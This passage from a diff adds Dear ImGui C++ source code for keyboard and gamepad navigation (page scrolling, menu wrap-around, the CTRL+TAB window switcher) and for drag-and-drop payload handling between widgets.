Apply result from previous frame navigation directional move request +static void ImGui::NavUpdateMoveResult() +{ + ImGuiContext& g = *GImGui; + if (g.NavMoveResultLocal.ID == 0 && g.NavMoveResultOther.ID == 0) + { + // In a situation when there is no results but NavId != 0, re-enable the Navigation highlight (because g.NavId is not considered as a possible result) + if (g.NavId != 0) + { + g.NavDisableHighlight = false; + g.NavDisableMouseHover = true; + } + return; + } + + // Select which result to use + ImGuiNavMoveResult* result = (g.NavMoveResultLocal.ID != 0) ? &g.NavMoveResultLocal : &g.NavMoveResultOther; + + // PageUp/PageDown behavior first jumps to the bottom/top mostly visible item, _otherwise_ use the result from the previous/next page. + if (g.NavMoveRequestFlags & ImGuiNavMoveFlags_AlsoScoreVisibleSet) + if (g.NavMoveResultLocalVisibleSet.ID != 0 && g.NavMoveResultLocalVisibleSet.ID != g.NavId) + result = &g.NavMoveResultLocalVisibleSet; + + // Maybe entering a flattened child from the outside? In this case solve the tie using the regular scoring rules. + if (result != &g.NavMoveResultOther && g.NavMoveResultOther.ID != 0 && g.NavMoveResultOther.Window->ParentWindow == g.NavWindow) + if ((g.NavMoveResultOther.DistBox < result->DistBox) || (g.NavMoveResultOther.DistBox == result->DistBox && g.NavMoveResultOther.DistCenter < result->DistCenter)) + result = &g.NavMoveResultOther; + IM_ASSERT(g.NavWindow && result->Window); + + // Scroll to keep newly navigated item fully into view. + if (g.NavLayer == ImGuiNavLayer_Main) + { + ImVec2 delta_scroll; + if (g.NavMoveRequestFlags & ImGuiNavMoveFlags_ScrollToEdge) + { + float scroll_target = (g.NavMoveDir == ImGuiDir_Up) ? result->Window->ScrollMax.y : 0.0f; + delta_scroll.y = result->Window->Scroll.y - scroll_target; + SetScrollY(result->Window, scroll_target); + } + else + { + ImRect rect_abs = ImRect(result->RectRel.Min + result->Window->Pos, result->RectRel.Max + result->Window->Pos); + delta_scroll = ScrollToBringRectIntoView(result->Window, rect_abs); + } + + // Offset our result position so mouse position can be applied immediately after in NavUpdate() + result->RectRel.TranslateX(-delta_scroll.x); + result->RectRel.TranslateY(-delta_scroll.y); + } + + ClearActiveID(); + g.NavWindow = result->Window; + if (g.NavId != result->ID) + { + // Don't set NavJustMovedToId if just landed on the same spot (which may happen with ImGuiNavMoveFlags_AllowCurrentNavId) + g.NavJustMovedToId = result->ID; + g.NavJustMovedToFocusScopeId = result->FocusScopeId; + g.NavJustMovedToKeyMods = g.NavMoveRequestKeyMods; + } + IMGUI_DEBUG_LOG_NAV("[nav] NavMoveRequest: result NavID 0x%08X in Layer %d Window \"%s\"\n", result->ID, g.NavLayer, g.NavWindow->Name); + SetNavIDWithRectRel(result->ID, g.NavLayer, result->FocusScopeId, result->RectRel); +} + +// Handle PageUp/PageDown/Home/End keys +static float ImGui::NavUpdatePageUpPageDown() +{ + ImGuiContext& g = *GImGui; + ImGuiIO& io = g.IO; + + if (g.NavMoveDir != ImGuiDir_None || g.NavWindow == NULL) + return 0.0f; + if ((g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs) || g.NavWindowingTarget != NULL || g.NavLayer != ImGuiNavLayer_Main) + return 0.0f; + + ImGuiWindow* window = g.NavWindow; + const bool page_up_held = IsKeyDown(io.KeyMap[ImGuiKey_PageUp]) && !IsActiveIdUsingKey(ImGuiKey_PageUp); + const bool page_down_held = IsKeyDown(io.KeyMap[ImGuiKey_PageDown]) && !IsActiveIdUsingKey(ImGuiKey_PageDown); + const bool home_pressed = IsKeyPressed(io.KeyMap[ImGuiKey_Home]) && !IsActiveIdUsingKey(ImGuiKey_Home); + const bool end_pressed = IsKeyPressed(io.KeyMap[ImGuiKey_End]) && !IsActiveIdUsingKey(ImGuiKey_End); + if (page_up_held != page_down_held || home_pressed != end_pressed) // If either (not both) are pressed + { + if (window->DC.NavLayerActiveMask == 0x00 && window->DC.NavHasScroll) + { + // Fallback manual-scroll when window has no navigable item + if (IsKeyPressed(io.KeyMap[ImGuiKey_PageUp], true)) + SetScrollY(window, window->Scroll.y - window->InnerRect.GetHeight()); + else if (IsKeyPressed(io.KeyMap[ImGuiKey_PageDown], true)) + SetScrollY(window, window->Scroll.y + window->InnerRect.GetHeight()); + else if (home_pressed) + SetScrollY(window, 0.0f); + else if (end_pressed) + SetScrollY(window, window->ScrollMax.y); + } + else + { + ImRect& nav_rect_rel = window->NavRectRel[g.NavLayer]; + const float page_offset_y = ImMax(0.0f, window->InnerRect.GetHeight() - window->CalcFontSize() * 1.0f + nav_rect_rel.GetHeight()); + float nav_scoring_rect_offset_y = 0.0f; + if (IsKeyPressed(io.KeyMap[ImGuiKey_PageUp], true)) + { + nav_scoring_rect_offset_y = -page_offset_y; + g.NavMoveDir = ImGuiDir_Down; // Because our scoring rect is offset up, we request the down direction (so we can always land on the last item) + g.NavMoveClipDir = ImGuiDir_Up; + g.NavMoveRequestFlags = ImGuiNavMoveFlags_AllowCurrentNavId | ImGuiNavMoveFlags_AlsoScoreVisibleSet; + } + else if (IsKeyPressed(io.KeyMap[ImGuiKey_PageDown], true)) + { + nav_scoring_rect_offset_y = +page_offset_y; + g.NavMoveDir = ImGuiDir_Up; // Because our scoring rect is offset down, we request the up direction (so we can always land on the last item) + g.NavMoveClipDir = ImGuiDir_Down; + g.NavMoveRequestFlags = ImGuiNavMoveFlags_AllowCurrentNavId | ImGuiNavMoveFlags_AlsoScoreVisibleSet; + } + else if (home_pressed) + { + // FIXME-NAV: handling of Home/End is assuming that the top/bottom most item will be visible with Scroll.y == 0/ScrollMax.y + // Scrolling will be handled via the ImGuiNavMoveFlags_ScrollToEdge flag, we don't scroll immediately to avoid scrolling happening before nav result. + // Preserve current horizontal position if we have any. + nav_rect_rel.Min.y = nav_rect_rel.Max.y = -window->Scroll.y; + if (nav_rect_rel.IsInverted()) + nav_rect_rel.Min.x = nav_rect_rel.Max.x = 0.0f; + g.NavMoveDir = ImGuiDir_Down; + g.NavMoveRequestFlags = ImGuiNavMoveFlags_AllowCurrentNavId | ImGuiNavMoveFlags_ScrollToEdge; + } + else if (end_pressed) + { + nav_rect_rel.Min.y = nav_rect_rel.Max.y = window->ScrollMax.y + window->SizeFull.y - window->Scroll.y; + if (nav_rect_rel.IsInverted()) + nav_rect_rel.Min.x = nav_rect_rel.Max.x = 0.0f; + g.NavMoveDir = ImGuiDir_Up; + g.NavMoveRequestFlags = ImGuiNavMoveFlags_AllowCurrentNavId | ImGuiNavMoveFlags_ScrollToEdge; + } + return nav_scoring_rect_offset_y; + } + } + return 0.0f; +} + +static void ImGui::NavEndFrame() +{ + ImGuiContext& g = *GImGui; + + // Show CTRL+TAB list window + if (g.NavWindowingTarget != NULL) + NavUpdateWindowingOverlay(); + + // Perform wrap-around in menus + ImGuiWindow* window = g.NavWrapRequestWindow; + ImGuiNavMoveFlags move_flags = g.NavWrapRequestFlags; + if (window != NULL && g.NavWindow == window && NavMoveRequestButNoResultYet() && g.NavMoveRequestForward == ImGuiNavForward_None && g.NavLayer == ImGuiNavLayer_Main) + { + IM_ASSERT(move_flags != 0); // No points calling this with no wrapping + ImRect bb_rel = window->NavRectRel[0]; + + ImGuiDir clip_dir = g.NavMoveDir; + if (g.NavMoveDir == ImGuiDir_Left && (move_flags & (ImGuiNavMoveFlags_WrapX | ImGuiNavMoveFlags_LoopX))) + { + bb_rel.Min.x = bb_rel.Max.x = + ImMax(window->SizeFull.x, window->ContentSize.x + window->WindowPadding.x * 2.0f) - window->Scroll.x; + if (move_flags & ImGuiNavMoveFlags_WrapX) + { + bb_rel.TranslateY(-bb_rel.GetHeight()); + clip_dir = ImGuiDir_Up; + } + NavMoveRequestForward(g.NavMoveDir, clip_dir, bb_rel, move_flags); + } + if (g.NavMoveDir == ImGuiDir_Right && (move_flags & (ImGuiNavMoveFlags_WrapX | ImGuiNavMoveFlags_LoopX))) + { + bb_rel.Min.x = bb_rel.Max.x = -window->Scroll.x; + if (move_flags & ImGuiNavMoveFlags_WrapX) + { + bb_rel.TranslateY(+bb_rel.GetHeight()); + clip_dir = ImGuiDir_Down; + } + NavMoveRequestForward(g.NavMoveDir, clip_dir, bb_rel, move_flags); + } + if (g.NavMoveDir == ImGuiDir_Up && (move_flags & (ImGuiNavMoveFlags_WrapY | ImGuiNavMoveFlags_LoopY))) + { + bb_rel.Min.y = bb_rel.Max.y = + ImMax(window->SizeFull.y, window->ContentSize.y + window->WindowPadding.y * 2.0f) - window->Scroll.y; + if (move_flags & ImGuiNavMoveFlags_WrapY) + { + bb_rel.TranslateX(-bb_rel.GetWidth()); + clip_dir = ImGuiDir_Left; + } + NavMoveRequestForward(g.NavMoveDir, clip_dir, bb_rel, move_flags); + } + if (g.NavMoveDir == ImGuiDir_Down && (move_flags & (ImGuiNavMoveFlags_WrapY | ImGuiNavMoveFlags_LoopY))) + { + bb_rel.Min.y = bb_rel.Max.y = -window->Scroll.y; + if (move_flags & ImGuiNavMoveFlags_WrapY) + { + bb_rel.TranslateX(+bb_rel.GetWidth()); + clip_dir = ImGuiDir_Right; + } + NavMoveRequestForward(g.NavMoveDir, clip_dir, bb_rel, move_flags); + } + } +} + +static int ImGui::FindWindowFocusIndex(ImGuiWindow* window) // FIXME-OPT O(N) +{ + ImGuiContext& g = *GImGui; + for (int i = g.WindowsFocusOrder.Size - 1; i >= 0; i--) + if (g.WindowsFocusOrder[i] == window) + return i; + return -1; +} + +static ImGuiWindow* FindWindowNavFocusable(int i_start, int i_stop, int dir) // FIXME-OPT O(N) +{ + ImGuiContext& g = *GImGui; + for (int i = i_start; i >= 0 && i < g.WindowsFocusOrder.Size && i != i_stop; i += dir) + if (ImGui::IsWindowNavFocusable(g.WindowsFocusOrder[i])) + return g.WindowsFocusOrder[i]; + return NULL; +} + +static void NavUpdateWindowingHighlightWindow(int focus_change_dir) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.NavWindowingTarget); + if (g.NavWindowingTarget->Flags & ImGuiWindowFlags_Modal) + return; + + const int i_current = ImGui::FindWindowFocusIndex(g.NavWindowingTarget); + ImGuiWindow* window_target = FindWindowNavFocusable(i_current + focus_change_dir, -INT_MAX, focus_change_dir); + if (!window_target) + window_target = FindWindowNavFocusable((focus_change_dir < 0) ? (g.WindowsFocusOrder.Size - 1) : 0, i_current, focus_change_dir); + if (window_target) // Don't reset windowing target if there's a single window in the list + g.NavWindowingTarget = g.NavWindowingTargetAnim = window_target; + g.NavWindowingToggleLayer = false; +} + +// Windowing management mode +// Keyboard: CTRL+Tab (change focus/move/resize), Alt (toggle menu layer) +// Gamepad: Hold Menu/Square (change focus/move/resize), Tap Menu/Square (toggle menu layer) +static void ImGui::NavUpdateWindowing() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* apply_focus_window = NULL; + bool apply_toggle_layer = false; + + ImGuiWindow* modal_window = GetTopMostPopupModal(); + bool allow_windowing = (modal_window == NULL); + if (!allow_windowing) + g.NavWindowingTarget = NULL; + + // Fade out + if (g.NavWindowingTargetAnim && g.NavWindowingTarget == NULL) + { + g.NavWindowingHighlightAlpha = ImMax(g.NavWindowingHighlightAlpha - g.IO.DeltaTime * 10.0f, 0.0f); + if (g.DimBgRatio <= 0.0f && g.NavWindowingHighlightAlpha <= 0.0f) + g.NavWindowingTargetAnim = NULL; + } + + // Start CTRL-TAB or Square+L/R window selection + bool start_windowing_with_gamepad = allow_windowing && !g.NavWindowingTarget && IsNavInputTest(ImGuiNavInput_Menu, ImGuiInputReadMode_Pressed); + bool start_windowing_with_keyboard = allow_windowing && !g.NavWindowingTarget && g.IO.KeyCtrl && IsKeyPressedMap(ImGuiKey_Tab) && (g.IO.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard); + if (start_windowing_with_gamepad || start_windowing_with_keyboard) + if (ImGuiWindow* window = g.NavWindow ? g.NavWindow : FindWindowNavFocusable(g.WindowsFocusOrder.Size - 1, -INT_MAX, -1)) + { + g.NavWindowingTarget = g.NavWindowingTargetAnim = window->RootWindow; // FIXME-DOCK: Will need to use RootWindowDockStop + g.NavWindowingTimer = g.NavWindowingHighlightAlpha = 0.0f; + g.NavWindowingToggleLayer = start_windowing_with_keyboard ? false : true; + g.NavInputSource = start_windowing_with_keyboard ? ImGuiInputSource_NavKeyboard : ImGuiInputSource_NavGamepad; + } + + // Gamepad update + g.NavWindowingTimer += g.IO.DeltaTime; + if (g.NavWindowingTarget && g.NavInputSource == ImGuiInputSource_NavGamepad) + { + // Highlight only appears after a brief time holding the button, so that a fast tap on PadMenu (to toggle NavLayer) doesn't add visual noise + g.NavWindowingHighlightAlpha = ImMax(g.NavWindowingHighlightAlpha, ImSaturate((g.NavWindowingTimer - NAV_WINDOWING_HIGHLIGHT_DELAY) / 0.05f)); + + // Select window to focus + const int focus_change_dir = (int)IsNavInputTest(ImGuiNavInput_FocusPrev, ImGuiInputReadMode_RepeatSlow) - (int)IsNavInputTest(ImGuiNavInput_FocusNext, ImGuiInputReadMode_RepeatSlow); + if (focus_change_dir != 0) + { + NavUpdateWindowingHighlightWindow(focus_change_dir); + g.NavWindowingHighlightAlpha = 1.0f; + } + + // Single press toggles NavLayer, long press with L/R apply actual focus on release (until then the window was merely rendered top-most) + if (!IsNavInputDown(ImGuiNavInput_Menu)) + { + g.NavWindowingToggleLayer &= (g.NavWindowingHighlightAlpha < 1.0f); // Once button was held long enough we don't consider it a tap-to-toggle-layer press anymore. + if (g.NavWindowingToggleLayer && g.NavWindow) + apply_toggle_layer = true; + else if (!g.NavWindowingToggleLayer) + apply_focus_window = g.NavWindowingTarget; + g.NavWindowingTarget = NULL; + } + } + + // Keyboard: Focus + if (g.NavWindowingTarget && g.NavInputSource == ImGuiInputSource_NavKeyboard) + { + // Visuals only appears after a brief time after pressing TAB the first time, so that a fast CTRL+TAB doesn't add visual noise + g.NavWindowingHighlightAlpha = ImMax(g.NavWindowingHighlightAlpha, ImSaturate((g.NavWindowingTimer - NAV_WINDOWING_HIGHLIGHT_DELAY) / 0.05f)); // 1.0f + if (IsKeyPressedMap(ImGuiKey_Tab, true)) + NavUpdateWindowingHighlightWindow(g.IO.KeyShift ? +1 : -1); + if (!g.IO.KeyCtrl) + apply_focus_window = g.NavWindowingTarget; + } + + // Keyboard: Press and Release ALT to toggle menu layer + // FIXME: We lack an explicit IO variable for "is the imgui window focused", so compare mouse validity to detect the common case of backend clearing releases all keys on ALT-TAB + if (IsNavInputTest(ImGuiNavInput_KeyMenu_, ImGuiInputReadMode_Pressed)) + g.NavWindowingToggleLayer = true; + if ((g.ActiveId == 0 || g.ActiveIdAllowOverlap) && g.NavWindowingToggleLayer && IsNavInputTest(ImGuiNavInput_KeyMenu_, ImGuiInputReadMode_Released)) + if (IsMousePosValid(&g.IO.MousePos) == IsMousePosValid(&g.IO.MousePosPrev)) + apply_toggle_layer = true; + + // Move window + if (g.NavWindowingTarget && !(g.NavWindowingTarget->Flags & ImGuiWindowFlags_NoMove)) + { + ImVec2 move_delta; + if (g.NavInputSource == ImGuiInputSource_NavKeyboard && !g.IO.KeyShift) + move_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_Keyboard, ImGuiInputReadMode_Down); + if (g.NavInputSource == ImGuiInputSource_NavGamepad) + move_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_PadLStick, ImGuiInputReadMode_Down); + if (move_delta.x != 0.0f || move_delta.y != 0.0f) + { + const float NAV_MOVE_SPEED = 800.0f; + const float move_speed = ImFloor(NAV_MOVE_SPEED * g.IO.DeltaTime * ImMin(g.IO.DisplayFramebufferScale.x, g.IO.DisplayFramebufferScale.y)); // FIXME: Doesn't handle variable framerate very well + ImGuiWindow* moving_window = g.NavWindowingTarget->RootWindow; + SetWindowPos(moving_window, moving_window->Pos + move_delta * move_speed, ImGuiCond_Always); + MarkIniSettingsDirty(moving_window); + g.NavDisableMouseHover = true; + } + } + + // Apply final focus + if (apply_focus_window && (g.NavWindow == NULL || apply_focus_window != g.NavWindow->RootWindow)) + { + ClearActiveID(); + g.NavDisableHighlight = false; + g.NavDisableMouseHover = true; + apply_focus_window = NavRestoreLastChildNavWindow(apply_focus_window); + ClosePopupsOverWindow(apply_focus_window, false); + FocusWindow(apply_focus_window); + if (apply_focus_window->NavLastIds[0] == 0) + NavInitWindow(apply_focus_window, false); + + // If the window only has a menu layer, select it directly + if (apply_focus_window->DC.NavLayerActiveMask == (1 << ImGuiNavLayer_Menu)) + g.NavLayer = ImGuiNavLayer_Menu; + } + if (apply_focus_window) + g.NavWindowingTarget = NULL; + + // Apply menu/layer toggle + if (apply_toggle_layer && g.NavWindow) + { + // Move to parent menu if necessary + ImGuiWindow* new_nav_window = g.NavWindow; + while (new_nav_window->ParentWindow + && (new_nav_window->DC.NavLayerActiveMask & (1 << ImGuiNavLayer_Menu)) == 0 + && (new_nav_window->Flags & ImGuiWindowFlags_ChildWindow) != 0 + && (new_nav_window->Flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_ChildMenu)) == 0) + new_nav_window = new_nav_window->ParentWindow; + if (new_nav_window != g.NavWindow) + { + ImGuiWindow* old_nav_window = g.NavWindow; + FocusWindow(new_nav_window); + new_nav_window->NavLastChildNavWindow = old_nav_window; + } + g.NavDisableHighlight = false; + g.NavDisableMouseHover = true; + + // When entering a regular menu bar with the Alt key, we always reinitialize the navigation ID. + const ImGuiNavLayer new_nav_layer = (g.NavWindow->DC.NavLayerActiveMask & (1 << ImGuiNavLayer_Menu)) ? (ImGuiNavLayer)((int)g.NavLayer ^ 1) : ImGuiNavLayer_Main; + NavRestoreLayer(new_nav_layer); + } +} + +// Window has already passed the IsWindowNavFocusable() +static const char* GetFallbackWindowNameForWindowingList(ImGuiWindow* window) +{ + if (window->Flags & ImGuiWindowFlags_Popup) + return "(Popup)"; + if ((window->Flags & ImGuiWindowFlags_MenuBar) && strcmp(window->Name, "##MainMenuBar") == 0) + return "(Main menu bar)"; + return "(Untitled)"; +} + +// Overlay displayed when using CTRL+TAB. Called by EndFrame(). +void ImGui::NavUpdateWindowingOverlay() +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.NavWindowingTarget != NULL); + + if (g.NavWindowingTimer < NAV_WINDOWING_LIST_APPEAR_DELAY) + return; + + if (g.NavWindowingListWindow == NULL) + g.NavWindowingListWindow = FindWindowByName("###NavWindowingList"); + SetNextWindowSizeConstraints(ImVec2(g.IO.DisplaySize.x * 0.20f, g.IO.DisplaySize.y * 0.20f), ImVec2(FLT_MAX, FLT_MAX)); + SetNextWindowPos(g.IO.DisplaySize * 0.5f, ImGuiCond_Always, ImVec2(0.5f, 0.5f)); + PushStyleVar(ImGuiStyleVar_WindowPadding, g.Style.WindowPadding * 2.0f); + Begin("###NavWindowingList", NULL, ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoFocusOnAppearing | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoInputs | ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoSavedSettings); + for (int n = g.WindowsFocusOrder.Size - 1; n >= 0; n--) + { + ImGuiWindow* window = g.WindowsFocusOrder[n]; + if (!IsWindowNavFocusable(window)) + continue; + const char* label = window->Name; + if (label == FindRenderedTextEnd(label)) + label = GetFallbackWindowNameForWindowingList(window); + Selectable(label, g.NavWindowingTarget == window); + } + End(); + PopStyleVar(); +} + + +//----------------------------------------------------------------------------- +// [SECTION] DRAG AND DROP +//----------------------------------------------------------------------------- + +void ImGui::ClearDragDrop() +{ + ImGuiContext& g = *GImGui; + g.DragDropActive = false; + g.DragDropPayload.Clear(); + g.DragDropAcceptFlags = ImGuiDragDropFlags_None; + g.DragDropAcceptIdCurr = g.DragDropAcceptIdPrev = 0; + g.DragDropAcceptIdCurrRectSurface = FLT_MAX; + g.DragDropAcceptFrameCount = -1; + + g.DragDropPayloadBufHeap.clear(); + memset(&g.DragDropPayloadBufLocal, 0, sizeof(g.DragDropPayloadBufLocal)); +} + +// Call when current ID is active. +// When this returns true you need to: a) call SetDragDropPayload() exactly once, b) you may render the payload visual/description, c) call EndDragDropSource() +bool ImGui::BeginDragDropSource(ImGuiDragDropFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + bool source_drag_active = false; + ImGuiID source_id = 0; + ImGuiID source_parent_id = 0; + ImGuiMouseButton mouse_button = ImGuiMouseButton_Left; + if (!(flags & ImGuiDragDropFlags_SourceExtern)) + { + source_id = window->DC.LastItemId; + if (source_id != 0 && g.ActiveId != source_id) // Early out for most common case + return false; + if (g.IO.MouseDown[mouse_button] == false) + return false; + + if (source_id == 0) + { + // If you want to use BeginDragDropSource() on an item with no unique identifier for interaction, such as Text() or Image(), you need to: + // A) Read the explanation below, B) Use the ImGuiDragDropFlags_SourceAllowNullID flag, C) Swallow your programmer pride. + if (!(flags & ImGuiDragDropFlags_SourceAllowNullID)) + { + IM_ASSERT(0); + return false; + } + + // Early out + if ((window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HoveredRect) == 0 && (g.ActiveId == 0 || g.ActiveIdWindow != window)) + return false; + + // Magic fallback (=somehow reprehensible) to handle items with no assigned ID, e.g. Text(), Image() + // We build a throwaway ID based on current ID stack + relative AABB of items in window. + // THE IDENTIFIER WON'T SURVIVE ANY REPOSITIONING OF THE WIDGET, so if your widget moves your dragging operation will be canceled. + // We don't need to maintain/call ClearActiveID() as releasing the button will early out this function and trigger !ActiveIdIsAlive. + source_id = window->DC.LastItemId = window->GetIDFromRectangle(window->DC.LastItemRect); + bool is_hovered = ItemHoverable(window->DC.LastItemRect, source_id); + if (is_hovered && g.IO.MouseClicked[mouse_button]) + { + SetActiveID(source_id, window); + FocusWindow(window); + } + if (g.ActiveId == source_id) // Allow the underlying widget to display/return hovered during the mouse release frame, else we would get a flicker. + g.ActiveIdAllowOverlap = is_hovered; + } + else + { + g.ActiveIdAllowOverlap = false; + } + if (g.ActiveId != source_id) + return false; + source_parent_id = window->IDStack.back(); + source_drag_active = IsMouseDragging(mouse_button); + + // Disable navigation and key inputs while dragging + g.ActiveIdUsingNavDirMask = ~(ImU32)0; + g.ActiveIdUsingNavInputMask = ~(ImU32)0; + g.ActiveIdUsingKeyInputMask = ~(ImU64)0; + } + else + { + window = NULL; + source_id = ImHashStr("#SourceExtern"); + source_drag_active = true; + } + + if (source_drag_active) + { + if (!g.DragDropActive) + { + IM_ASSERT(source_id != 0); + ClearDragDrop(); + ImGuiPayload& payload = g.DragDropPayload; + payload.SourceId = source_id; + payload.SourceParentId = source_parent_id; + g.DragDropActive = true; + g.DragDropSourceFlags = flags; + g.DragDropMouseButton = mouse_button; + if (payload.SourceId == g.ActiveId) + g.ActiveIdNoClearOnFocusLoss = true; + } + g.DragDropSourceFrameCount = g.FrameCount; + g.DragDropWithinSource = true; + + if (!(flags & ImGuiDragDropFlags_SourceNoPreviewTooltip)) + { + // Target can request the Source to not display its tooltip (we use a dedicated flag to make this request explicit) + // We unfortunately can't just modify the source flags and skip the call to BeginTooltip, as caller may be emitting contents. + BeginTooltip(); + if (g.DragDropAcceptIdPrev && (g.DragDropAcceptFlags & ImGuiDragDropFlags_AcceptNoPreviewTooltip)) + { + ImGuiWindow* tooltip_window = g.CurrentWindow; + tooltip_window->SkipItems = true; + tooltip_window->HiddenFramesCanSkipItems = 1; + } + } + + if (!(flags & ImGuiDragDropFlags_SourceNoDisableHover) && !(flags & ImGuiDragDropFlags_SourceExtern)) + window->DC.LastItemStatusFlags &= ~ImGuiItemStatusFlags_HoveredRect; + + return true; + } + return false; +} + +void ImGui::EndDragDropSource() +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.DragDropActive); + IM_ASSERT(g.DragDropWithinSource && "Not after a BeginDragDropSource()?"); + + if (!(g.DragDropSourceFlags & ImGuiDragDropFlags_SourceNoPreviewTooltip)) + EndTooltip(); + + // Discard the drag if have not called SetDragDropPayload() + if (g.DragDropPayload.DataFrameCount == -1) + ClearDragDrop(); + g.DragDropWithinSource = false; +} + +// Use 'cond' to choose to submit payload on drag start or every frame +bool ImGui::SetDragDropPayload(const char* type, const void* data, size_t data_size, ImGuiCond cond) +{ + ImGuiContext& g = *GImGui; + ImGuiPayload& payload = g.DragDropPayload; + if (cond == 0) + cond = ImGuiCond_Always; + + IM_ASSERT(type != NULL); + IM_ASSERT(strlen(type) < IM_ARRAYSIZE(payload.DataType) && "Payload type can be at most 32 characters long"); + IM_ASSERT((data != NULL && data_size > 0) || (data == NULL && data_size == 0)); + IM_ASSERT(cond == ImGuiCond_Always || cond == ImGuiCond_Once); + IM_ASSERT(payload.SourceId != 0); // Not called between BeginDragDropSource() and EndDragDropSource() + + if (cond == ImGuiCond_Always || payload.DataFrameCount == -1) + { + // Copy payload + ImStrncpy(payload.DataType, type, IM_ARRAYSIZE(payload.DataType)); + g.DragDropPayloadBufHeap.resize(0); + if (data_size > sizeof(g.DragDropPayloadBufLocal)) + { + // Store in heap + g.DragDropPayloadBufHeap.resize((int)data_size); + payload.Data = g.DragDropPayloadBufHeap.Data; + memcpy(payload.Data, data, data_size); + } + else if (data_size > 0) + { + // Store locally + memset(&g.DragDropPayloadBufLocal, 0, sizeof(g.DragDropPayloadBufLocal)); + payload.Data = g.DragDropPayloadBufLocal; + memcpy(payload.Data, data, data_size); + } + else + { + payload.Data = NULL; + } + payload.DataSize = (int)data_size; + } + payload.DataFrameCount = g.FrameCount; + + return (g.DragDropAcceptFrameCount == g.FrameCount) || (g.DragDropAcceptFrameCount == g.FrameCount - 1); +} + +bool ImGui::BeginDragDropTargetCustom(const ImRect& bb, ImGuiID id) +{ + ImGuiContext& g = *GImGui; + if (!g.DragDropActive) + return false; + + ImGuiWindow* window = g.CurrentWindow; + ImGuiWindow* hovered_window = g.HoveredWindowUnderMovingWindow; + if (hovered_window == NULL || window->RootWindow != hovered_window->RootWindow) + return false; + IM_ASSERT(id != 0); + if (!IsMouseHoveringRect(bb.Min, bb.Max) || (id == g.DragDropPayload.SourceId)) + return false; + if (window->SkipItems) + return false; + + IM_ASSERT(g.DragDropWithinTarget == false); + g.DragDropTargetRect = bb; + g.DragDropTargetId = id; + g.DragDropWithinTarget = true; + return true; +} + +// We don't use BeginDragDropTargetCustom() and duplicate its code because: +// 1) we use LastItemRectHoveredRect which handles items that pushes a temporarily clip rectangle in their code. Calling BeginDragDropTargetCustom(LastItemRect) would not handle them. +// 2) and it's faster. as this code may be very frequently called, we want to early out as fast as we can. +// Also note how the HoveredWindow test is positioned differently in both functions (in both functions we optimize for the cheapest early out case) +bool ImGui::BeginDragDropTarget() +{ + ImGuiContext& g = *GImGui; + if (!g.DragDropActive) + return false; + + ImGuiWindow* window = g.CurrentWindow; + if (!(window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HoveredRect)) + return false; + ImGuiWindow* hovered_window = g.HoveredWindowUnderMovingWindow; + if (hovered_window == NULL || window->RootWindow != hovered_window->RootWindow) + return false; + + const ImRect& display_rect = (window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HasDisplayRect) ? window->DC.LastItemDisplayRect : window->DC.LastItemRect; + ImGuiID id = window->DC.LastItemId; + if (id == 0) + id = window->GetIDFromRectangle(display_rect); + if (g.DragDropPayload.SourceId == id) + return false; + + IM_ASSERT(g.DragDropWithinTarget == false); + g.DragDropTargetRect = display_rect; + g.DragDropTargetId = id; + g.DragDropWithinTarget = true; + return true; +} + +bool ImGui::IsDragDropPayloadBeingAccepted() +{ + ImGuiContext& g = *GImGui; + return g.DragDropActive && g.DragDropAcceptIdPrev != 0; +} + +const ImGuiPayload* ImGui::AcceptDragDropPayload(const char* type, ImGuiDragDropFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiPayload& payload = g.DragDropPayload; + IM_ASSERT(g.DragDropActive); // Not called between BeginDragDropTarget() and EndDragDropTarget() ? + IM_ASSERT(payload.DataFrameCount != -1); // Forgot to call EndDragDropTarget() ? + if (type != NULL && !payload.IsDataType(type)) + return NULL; + + // Accept smallest drag target bounding box, this allows us to nest drag targets conveniently without ordering constraints. + // NB: We currently accept NULL id as target. However, overlapping targets requires a unique ID to function! + const bool was_accepted_previously = (g.DragDropAcceptIdPrev == g.DragDropTargetId); + ImRect r = g.DragDropTargetRect; + float r_surface = r.GetWidth() * r.GetHeight(); + if (r_surface <= g.DragDropAcceptIdCurrRectSurface) + { + g.DragDropAcceptFlags = flags; + g.DragDropAcceptIdCurr = g.DragDropTargetId; + g.DragDropAcceptIdCurrRectSurface = r_surface; + } + + // Render default drop visuals + payload.Preview = was_accepted_previously; + flags |= (g.DragDropSourceFlags & ImGuiDragDropFlags_AcceptNoDrawDefaultRect); // Source can also inhibit the preview (useful for external sources that lives for 1 frame) + if (!(flags & ImGuiDragDropFlags_AcceptNoDrawDefaultRect) && payload.Preview) + { + // FIXME-DRAG: Settle on a proper default visuals for drop target. + r.Expand(3.5f); + bool push_clip_rect = !window->ClipRect.Contains(r); + if (push_clip_rect) window->DrawList->PushClipRect(r.Min - ImVec2(1, 1), r.Max + ImVec2(1, 1)); + window->DrawList->AddRect(r.Min, r.Max, GetColorU32(ImGuiCol_DragDropTarget), 0.0f, ~0, 2.0f); + if (push_clip_rect) window->DrawList->PopClipRect(); + } + + g.DragDropAcceptFrameCount = g.FrameCount; + payload.Delivery = was_accepted_previously && !IsMouseDown(g.DragDropMouseButton); // For extern drag sources affecting os window focus, it's easier to just test !IsMouseDown() instead of IsMouseReleased() + if (!payload.Delivery && !(flags & ImGuiDragDropFlags_AcceptBeforeDelivery)) + return NULL; + + return &payload; +} + +const ImGuiPayload* ImGui::GetDragDropPayload() +{ + ImGuiContext& g = *GImGui; + return g.DragDropActive ? &g.DragDropPayload : NULL; +} + +// We don't really use/need this now, but added it for the sake of 